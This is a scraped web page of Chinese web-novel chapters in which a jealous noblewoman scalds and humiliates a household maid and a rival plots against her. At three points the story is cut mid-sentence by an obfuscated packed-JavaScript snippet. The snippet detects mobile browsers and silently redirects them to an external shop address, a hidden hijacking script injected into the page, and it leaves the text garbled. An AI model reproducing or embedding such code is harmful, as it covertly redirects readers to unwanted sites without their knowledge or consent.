l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322132|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功。 “挡着有什么用！”薛馥芬打断她，已是气愤非常，“她成日在门口转悠，谁知道哪天会不会遇上表哥？表哥是体面人，哪里知道这些妖精的下作手段，万一让她钻了空子，就是悔也来不及了。” 泉黛闻言又道：“姑娘放一万个心吧，少爷平日最恨这样心思深重的人，哪里会让她一个狐媚魇道的得逞？再者说了，少爷寻常并不来府里住，一月里总有二十天在山上，她就是想钻空子也得有这机会啊。” 谁料薛馥芬一听这话，倒是先将赵静柔的事摆到一边，急切问道：“一月里总有二十天在山上？那我来这一趟，岂不是连表哥的面都见不着？” 泉黛见她这副模样，忙宽慰道：“姑娘别急，少爷虽在山上，可偶尔也回府的。姑娘不是说要在延洲待上几个月么，总能碰上。” 薛馥芬自不满意她这回答，樱唇上翘不悦道：“要等碰上得等到什么时候去，若是表哥回来，你就差人去知会我一声，我立时就来。” 将主子的行踪透给外人，说得严重些也算是大逆不道。泉黛心向薛馥芬，却也不敢轻易应承，脸上还是堆起笑来连声称是。 薛馥芬这才弯了唇角，喝了两口茶问：“表哥来延洲这么些时日，可有问起我什么？” 这话叫泉黛一时卡壳，来延洲虽久，谢垚却是连一个薛字都没提过。可要是实话实话，定要触怒眼前这尊佛。 泉黛眼珠一转，已是有了主意：“姑娘不说这个还好，说起来我才真是要抹泪了。” “这话从何说起？” “二夫人过身之后，少爷那性子就更冷了。莫说同我和涧蓝说话闲聊，就是吩咐做事也是没有的，见天儿的只将顺心顺意两个带着，我们早都退避三舍了。” 泉黛说这话原是想在薛馥芬跟前讨个巧，让她既怜惜自己，又把那要命的话给绕过去。 谁知薛馥芬一心系着谢垚，听了这话红了眼圈，竟盈了几滴泪。“我就知道表姨的事对垚哥哥打击太重，他从小便不似旁人那般会撒娇卖痴，心里有事从来不肯说，只一个人闷着。表姨在时，好歹还有人疼他，表姨一走，他可怎么办？” 她说着，眼泪便扑簌簌落下来，那帕子不一会儿就湿了一片。 “我想着他一个人在延洲，身边也没个体己人，心里就难受。”薛馥芬抬起泪眼，看向泉黛，“他夜里睡得好不好？饭食可还合胃口？我瞧着院里只小猫两三只，他在山上本就辛苦，回府可能安心歇着？” 薛馥芬的痴早叫泉黛领教过，看她泪珠儿成串地往下掉，实难招架，拿了帕子给她，又哄道：“院里在跟前伺候的丫鬟现成就有六个，这是少爷不在，才各自在屋里歇着。少爷是二房主子，又兼了个好差，极得脸面，阖府上上下下哪里有不巴结的。” “巴结也非真心。”薛馥芬止了泪，又想起什么，“泉黛姐姐，这府里的丫头贴心是要紧，可有那娇娆狐媚，心思不正的？” 45. 教训 先前在京里，薛馥芬就借着往来谢家孝敬表姨的名头将谢垚身边的丫鬟摸了个清楚。现下到了延州，自然也是要问个明白的。 泉黛哪里不明白她，但凡有个颜色好点的丫头在少爷跟前晃悠，都能叫她寝食难安。 她早将连珠记了一笔，可临到头，想起连珠平日里上下谦和，涧蓝又几次在自己面前提点，又把话给咽了回去：“没有没有，都是府里大夫人挑的人，个个都老实本分，连少爷跟前都凑不上去。寻常也是我和涧蓝两个近身伺候，她们也只做些小厨房和整理衣衫的活。” “那就好。”薛馥芬俨然一副卧云居主母的做派，待看见泉黛的面色，才又补了一句，“多亏有你，不然我怎么放得下心来。这回过来，我带了不少京里的特产，吃的用的都有。你是从小长在京城的，来延州必定有诸多不惯，回头我就让人送来一些。” 泉黛得了好，脸上才又添了喜色，叠声谢过。 薛馥芬见谢垚不在，该问的也都问了，便不再久坐。泉黛自然是要送她出去，偏这般不巧，刚出了院门迎面就撞上个人。 薛馥芬哎哟一声，揉着胳膊抬眼看去，一下就注意到面前站着个杏脸柳眉、目剪秋水的女子。 待她再细看去，就见那女子上穿杏子黄短袄，是半旧不新的款式，乌云似的鬓发随意挽了个丫髻，只簪了个最普通的素银簪子，却难掩仪容姿色。 薛馥芬目光由惊变冷，自己在屋中方才问了泉黛，她拍了胸脯保证院里的丫鬟都是老实本分、寻常长相。 可眼前这个叫做寻常？ 泉黛玉光瞥了薛馥芬的面色，暗道不妙，又怪连珠非要这时候出现，平白让人看见生出事来。心中不由得悔道，刚刚就不该替这妮子遮掩，没得让薛馥芬对自己起了疑，真是得不偿失。 连珠骤撞见自卧云居出来的陌生面孔也是意外，全怪她刚从管人事的刘嬷嬷那里回来，心头搁着事才一不小心冲撞了贵人。 她赶紧后退一步，将头埋得低低的屈膝行礼：“奴婢失礼，冲撞了姑娘，请姑娘恕罪。” 薛馥芬听她声音轻轻柔柔，莫名添了两分火，眯着眼睛看向泉黛冷笑道：“这么俊秀的丫头也是卧云居的？” 泉黛见她阴沉着一张脸笑得森冷，脊背冷冷地不敢再说假话：“这是院里小厨房做事的连珠。” “连珠...”薛馥芬在口中嚼了一遍这名字，死死盯着那低眉垂目的丫鬟，“倒是取了个好名字，长得这么伶俐，怎么在小厨房，不到主子跟前伺候？” 这话说得另有意味，连珠再看薛馥芬和泉黛之间的关系，似乎摸着了些其中关窍。 都说红颜祸水，看来这男人长得漂亮也一样是个祸水。 顾不得多想，连珠神色一凛，赶紧道：“奴婢粗笨，不得主子看重，只能做些烧灶煮饭的粗活。” 薛馥芬闻言勾唇笑了笑，也不知信不信连珠的话，只冒出两个字：“是么？” 旋即，瞪了连珠一眼甩开裙角快步走了。 连珠长舒一口气，暗道这小姐年轻气盛、眼高于顶，不知是个什么来历。不过是什么路数同她倒也无甚大干系，左右也要走了，只是想到今儿刘嬷嬷的神色倒是有些奇怪。 原来连珠一回府就惦着赎身的事，趁着空闲就去寻了刘嬷嬷。 那刘嬷嬷一听她是为赎身来的，就问了是哪个院的，主子知不知道，叫什么名儿。待听到连珠报了姓名，立时抬起眼皮将她上下打量一番，继而长长哦了一声，慢道：“出府的丫鬟，都得记了名，月底一并报给太太，这是规矩。” “是，规矩连珠知道，劳烦嬷嬷替我记上。” 那刘嬷嬷又看她一眼，带着几分审度，掏出个本子记了一笔，又道：“不过有件事我得先跟你说明了，年前刚放了些丫鬟出府，这过完年回来，府里正是缺人的时候。我给你记上了，什么时候放出去可说不准。你可别一日三次的来问，回头有信了，自会传你。” 连珠自然是点头应了，可回来路上细想着，往日府中也有因着短缺人手，将那要赎身的丫鬟压上一阵子。若是有主子替人说上一两句，倒是能往前提一提，可谢培不在府中，便是他答应过自己此刻也是说不上话。 也不知要等到什么时候。 她心中挂着这个，才一不小心冲撞了薛馥芬。 正想着这个事，推了屋门，就见青芝一阵风似的从窗边过来。 “方才来客人，你来得晚了，没碰上！”青芝说得眉飞色舞，也不管连珠有没有兴致，“你是没瞧见泉黛的样，平日恨不得把头扬到天上去，见了人爱答不理的，刚刚可是对着人家伏低做小。” 她刚进卧云居便想跟从前捧着白芍一般捧着泉黛，哪料泉黛不吃她这一套，几次教训下来，也让青芝淡下心思，还暗恨了泉黛几回。青芝私下偶尔还对着连珠嘀咕两句，这会儿似是出了气，又小声道：“也不知那小姐是什么来头，听口音该是京里来的。” 连珠随口道：“说不定是二房在京中的旧交。” 青芝见她神色懒懒，实不热络，也索然无味地住了嘴。她回身坐到床边，心里却想那小姐打扮的花枝招展，什么旧交，怕是旧情才对！ 却说薛馥芬回家之后，歪在罗汉床上，手里捧着的茶一口也没喝下。脑子里转来转去，全是在卧云居门口撞见的那个貌美的丫鬟。 她翻了个身，把茶盏往小几上一搁，发出清脆的一声响。外头伺候的莲花听见动静，忙掀帘子进来，见她这副模样，心里便有了数。 莲花才跟着薛馥芬在谢府走了一遭，又是个精于算计的，心里明镜似的。自家小姐因着谢家少爷的缘故，向来看重他身边叫泉黛的那个丫头。她早看不顺眼泉黛在薛馥芬跟前讨好，一个外边的丫鬟也来分薄自己的赏赐，心里冷笑一声，走到薛馥芬跟前轻轻揉捏起她的胳膊，柔声道：“姑娘可是发愁谢家那丫鬟？” 薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330268|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馥芬侧头看她，就听莲花又道：“今儿在卧云居，泉黛可是亲口说谢家少爷院里的丫鬟都是寻常长相，连少爷跟前都凑不上去。可后来撞见的那个，姑娘也瞧见了，那是寻常长相？” 薛馥芬恨的就是这个，拧了帕子愤愤的不想说话。 莲花见她听进去了，心中暗自一喜，又添了一把柴：“奴婢斗胆说一句，泉黛这可是诓姑娘呢！姑娘在京里远远都想着她，她收着姑娘的礼，转头却拿这种话来敷衍姑娘，莫不是打量着姑娘好糊弄？” 往泉黛身上砸钱，薛馥芬就没心疼过，今朝当面识穿泉黛的谎话，叫她如何不恼。 莲花觑着她的神色，继续道：“还有那个丫鬟，见了姑娘也不知道躲，直挺挺撞上来，礼也行得敷衍。奴婢瞧着她那长相，就不是个省油的灯。姑娘方才就该教训教训她，让她知道知道规矩。” 这话着实说进薛馥芬的心坎，她直起身按住莲花给她捶腿的手，将人拉到自己身边坐下：“好莲花，要不说我身边的人捆一起都赶不上你，就你最知道我的心意。我刚刚也是气狠了，竟连句重话都没对那狐媚子说。现在胸口还憋着一股气，怕是吃一瓶静心丸都缓不下来。” 莲花听薛馥芬夸赞，自是受用，亲近道：“要我说，姑娘就该让她们知道您的厉害。咱们薛家可是正经的皇亲国戚，您又受娘娘宠爱，哪里能受这般委屈！” 薛馥芬被莲花挑唆得胸口沸腾，眼睛一亮，只是片刻又踌躇起来。先不提泉黛是谢垚身边的老人了，就是那位连珠怎么着也是谢垚的丫鬟，自己若是教训了，再让谢垚知道，难保惹他不喜。 “可表哥不喜女子跋扈。”薛馥芬皱眉道，“从前在京里，那白玉真如何惹他生厌，你不是也见识过么。” “那白玉真和谢少爷什么情分，您和谢少爷又是什么情分，怎么能比呢？”莲花自有一番说辞，“谢少爷如今在山里，一个月也回不来几回。泉黛不是说她在小厨房做事，都见不上谢少爷的面，您小惩大戒一个普通丫鬟，难道她还能跑到山上去告状？” 薛馥芬听着，神色微动。 莲花又道：“再说了，泉黛收了姑娘那么多礼，这点小事她还不帮姑娘瞒住，那可真是一点良心都没有了。回头姑娘再随便赏她些什么，她只有感激的，哪敢往外说？” “退一万步说，就算那丫鬟真敢告状，那不正好说明她心怀不轨，想在少爷跟前搬弄是非么？姑娘这一罚，反倒是把那丫鬟的真面目试出来了。她是个奴婢，少爷难道还能真为了个奴婢跟姑娘置气？” 莲花真是应了她的名字，舌灿莲花。一番话说得薛馥芬连连点点头，愈发觉得有道理，劝得她底气十足。 是啊，她堂堂薛家小姐，又是谢家亲戚，难道还教训不得一个不懂规矩的奴婢？ 胸口气顺了，薛馥芬便越觉得莲花是来替她解忧的，简直将她当成了在世诸葛，拉了她的胳膊热络问道：“你说，我要怎么罚她？” 46. 天命不公 入春之后春雨连绵，这日天才放晴薛家的马车就缓缓停在谢府门口。 门房来报，泉黛亲到门口去迎，哪知薛馥芬性子急，已是进了二门。 泉黛听人来报，心中本就觉得奇怪，明明这薛小姐上回才来没几日，自己也说了少爷回来会找人递消息，怎么今儿又着急忙慌地来了。 待在抄手游廊和薛馥芬碰上，亲热将她请进内宅，就听薛馥芬边走边问，聊得却不是自家少爷而是院里的丫鬟。 “这回来得匆忙，丫鬟也只带了几个，除了莲花还有个活泼性子，其他都是笨嘴拙舌的。我成日闷着，倒不如来找你说说话。” 正说着话，走到院门口，薛馥芬像是忆起什么，一甩帕子道：“对了，上回就在这儿撞见的那个丫鬟，你说是小厨房做事的，叫什么来着？” 泉黛一听，怕是薛馥芬上回见了连珠貌美，不肯善罢甘休，特地来寻麻烦的。自己还是顺毛捋了，不要触她的眉头惹火上身才好。 “连珠，是叫连珠。” “哦，你说她在小厨房做事，可有什么长处？” 泉黛咂摸着薛馥芬这回过来待她分明疏离不少，怕是上回的过，当下就讨好着道：“哪有什么长处，不过会做几个小菜，入不得眼。” 薛馥芬听了仍看着泉黛，不满意这个回答。 泉黛眼珠一转，想着薛馥芬该是想叫了连珠到跟前教训，又补上一句：“她还有个烹茶手艺，前儿有人给少爷送了些发酵的茶饼，我这就唤她来侍奉。” 泉黛服侍了薛馥芬在厅里坐下，扭身就往小厨房去叫人，才走到转角廊下，一把被涧蓝截住手腕拉到身边，急问道：“怎么薛家小姐又来了？” 上回薛馥芬来院里，涧蓝私下就觉得不妥。虽说夫人在时，薛家小姐就入谢府后院如自家一般，但现在卧云居只少爷一人住着，又时常不在府里，她们本该替少爷守着门户，让薛家小姐三番两次的来，于理不合，传出去怕是不像话。 她明里暗里也劝过泉黛，可泉黛又哪里听她的。 这会儿泉黛听她话里的意思像是怪责自己，皱眉不悦道：“她是薛家小姐，要来就来，我还能管得了？至于她心里想的什么，我哪里知道？你要是好奇，只管问去！” 涧蓝看她如此不知好歹，心中也气，却还耐下性子道：“我方才在外头听见你要找连珠烹茶？不是说上回连珠冲撞了她，这次点名要连珠，不知那薛小姐打的什么主意。依我看，就说连珠身子不爽，换了桂芳去，也省得再生事端。” 泉黛盯了涧蓝一瞬，随即挣开涧蓝的手，冷冷道：“你倒会做好人。” 说罢，再不理涧蓝，径直往小厨房去了。 涧蓝看她一意孤行，急得跺脚也想不出个法子，只能口中念佛盼着别出事。 却说，春日里兰儿回家一趟，来时带了些田里新发的野菜，分了连珠一些。连珠正坐在凳上择菜，就听泉黛唤她带了茶具、茶饼到正房厅里去烹茶。 连珠依言收拾妥当，心中还奇怪，也没听见外头传二少爷回来，这是要给谁烹茶。 等到厅门外，抬眼一望，就见檀木瓜棱圆鼓凳上坐着上回撞见的那位小姐。 连珠瞧她脸色不阴不阳就知不好，恐是谢垚的风流债吃醋吃错了门，要殃及自己这条池鱼了。躲是躲不过去了，万万小心才是要紧。 连珠垂下眼，端着茶盘稳步走进厅里，又移来专门烹茶的矮几，跪坐下开始烹茶。 烫壶、温杯、破饼、取茶、洗茶、冲泡... 一连串的动作行云流水，举止娴静优雅，竟让死盯着连珠的薛馥芬挑不出半个错来。再瞧她容貌艳丽，嫣润袅婷，简直如烧红的针锥刺痛眼眸。来时还担忧万一叫谢垚知道，现下妒火一燃，竟是什么都顾不得了。 烹茶入盏，白瓷杯里茶汤红亮，蜜香混了陈香扑鼻盈面。连珠双手端了茶碟，躬身将茶盏放到薛馥芬面前的桌上。 “怎么？这茶放得这样远，可是觉得我不配吃你的茶？”薛馥芬不阴不阳，斜睨着连珠，摆明车马不肯轻易放了她，“端过来。” 茶水滚烫，两手递还一不小心就要打翻，不论是浇到谁的身上都要烫个好歹。 只是薛馥芬打定主意要治自己，绝不是她一两句话能将这事给绕过去的。这时候本该是院里能掌事说话的泉黛上来帮着圆一圆，连珠侧头看去，泉黛却是眼观鼻鼻观心，竟像是没听见薛馥芬的话。 连珠无法，只能死死捏着茶碟，往前又走了两步，递到薛馥芬面前。 薛馥芬伸手去接，本指望连珠先松手，好打翻茶盏赖在她的身上。 可连珠事先提防着，非等了她拿稳才肯放。还不待松一口气，那交送到薛馥芬茶碗眨眼就往旁边歪去。 也不知薛馥芬是无心还是故意，那滚烫的茶水竟是往她自己身上泼去，连珠下意识伸手去挡，猛地将那茶盏往旁边拍歪了半分。里头的热茶自然还是洒了，但到底没尽数泼在薛馥芬身上。 事发突然，屋中人皆是一惊。 就是始作俑者也被这突生的变故吓了一跳，青着脸色抚着胸口久不平息，竟是连预先排演好的词都忘了说。 还是身后的莲花反应过来，素手一指，厉声骂道：“该死的奴才，你知道面前坐着的是谁嘛！我们小姐的姑母可是当今圣上最受宠的丽嫔，你要将她伤了，就是八个脑袋也不够砍的！还傻站着做什么，还赶紧不跪下认错！” 莲花强站出来一通发威，不光震住连珠，就是泉黛也被一吓愣在原地。 只薛馥芬听了这话回神过来挺直腰杆，横眉冷对着连珠：“你倒是胆子大，我不过叫你端个茶，你就敢心怀不满朝我泼水！可是打量着自己一张脸生得好，在谢家攀个高枝，不把我放在眼里？” 连珠早被赶上前来的泉黛顶了膝盖窝跪在地上，手背烫红一片，火烧般的疼。 自己真是无妄之灾，端看她这副气势汹汹的模样就知没这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338872|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻易饶恕自己。 错是不在自己，但那又如何？薛馥芬是厌恶了她，所以她所做所说皆是错的。 连珠到底不是为了一口气梗了脖子不肯低头的性子，当年在宫中，一个忍字早就刻在骨子里。 青砖冰凉，她叩了头认错：“还请小姐息怒，都是奴婢的不是，可奴婢绝不是故意的。” 泉黛见连珠肯低头，总算是松了口气，事情闹成这样，也只能是连珠委屈认错。她也在旁赔了笑脸，望这烈火性子的薛馥芬消气了，也就了了。 薛馥芬看她这副模样，总算出了一口气。但想着方才连珠烹茶那优容的姿态，说不准也要在谢垚面前扭捏表现，又觉得教训不够，忽瞧见连珠覆在砖上的手，一脚踩了上去。 绣鞋底在连珠被热茶烫过的手背碾了一遭，察觉到连珠浑身疼得一抖，薛馥芬才故作惊讶道：“呀，竟是不留心踩了你的手，怪我...” “小姐就是太心善，都是这丫头不长眼，伸了手过来，哪里能怪您呢？”莲花扶了薛馥芬坐下，哼了一声道。 薛馥芬见跪着的丫鬟如此狼狈，已是舒坦了，口中还道：“刚不小心踩了你的手，我才信你说的不是故意，既如此，就饶过你这一回。只是你记着，日后再叫我拿了错处，我可不会轻放了你！” 薛馥芬目的得逞，茶自是不喝了，只是人还没走出谢府。她在卧云居的这一通威风就被院里洒扫的小丫鬟传到了临水榭梅香的耳朵里。 梅香何等精明，一阵风地回了临水榭，原样将听到的话学给了赵静柔。 赵静柔越听双眼越是冒光，等梅香说完，差点将手里的帕子笑得甩飞了出去。 蠢人不是没有，但蠢成这样的还真就少见。真就是天命不公，这样的蠢人竟有这样好的出身。 原是上次在卧云居遇到薛馥芬，赵静柔就打听了她的来历。知道她父亲是五品京官，姑母更是圣上宠妃，心中更是翻腾。 她赵静柔才情、样貌样样不输，偏是出身不如就要矮人一头，极是不爽。 “好好好，真是瞌睡送枕头，这回还不叫她在二表哥面前落了脸。” 梅香跟了赵静柔多年，见她眼珠微转，就知道心中已是有了盘算：“姑娘，你的意思是？” “她一个外人跑来谢府耍了一通威风，谢家便没有这样治家的道理。她不过是打量着二表哥不在卧云居，那些窝囊的下人也不敢拦她，才敢这样肆无忌惮。”赵静柔勾了嘴角，“既然她要耍，那我就帮她添一把火。” 梅香附耳过去，问：“姑娘打算怎么做？” “我记得你说过，认识二表哥身边做事的小厮？” 梅香赶紧应道：“是，叫富贵的，跟在顺心身边跑腿。奴婢与他打过几回照面，托他捎过东西，算是说得上话。” “你现在就去，寻着他，添点油把刚刚跟我说的话再与他说一遍。” 梅香心领神会，脆声应了，甩开膀子往前院跑去。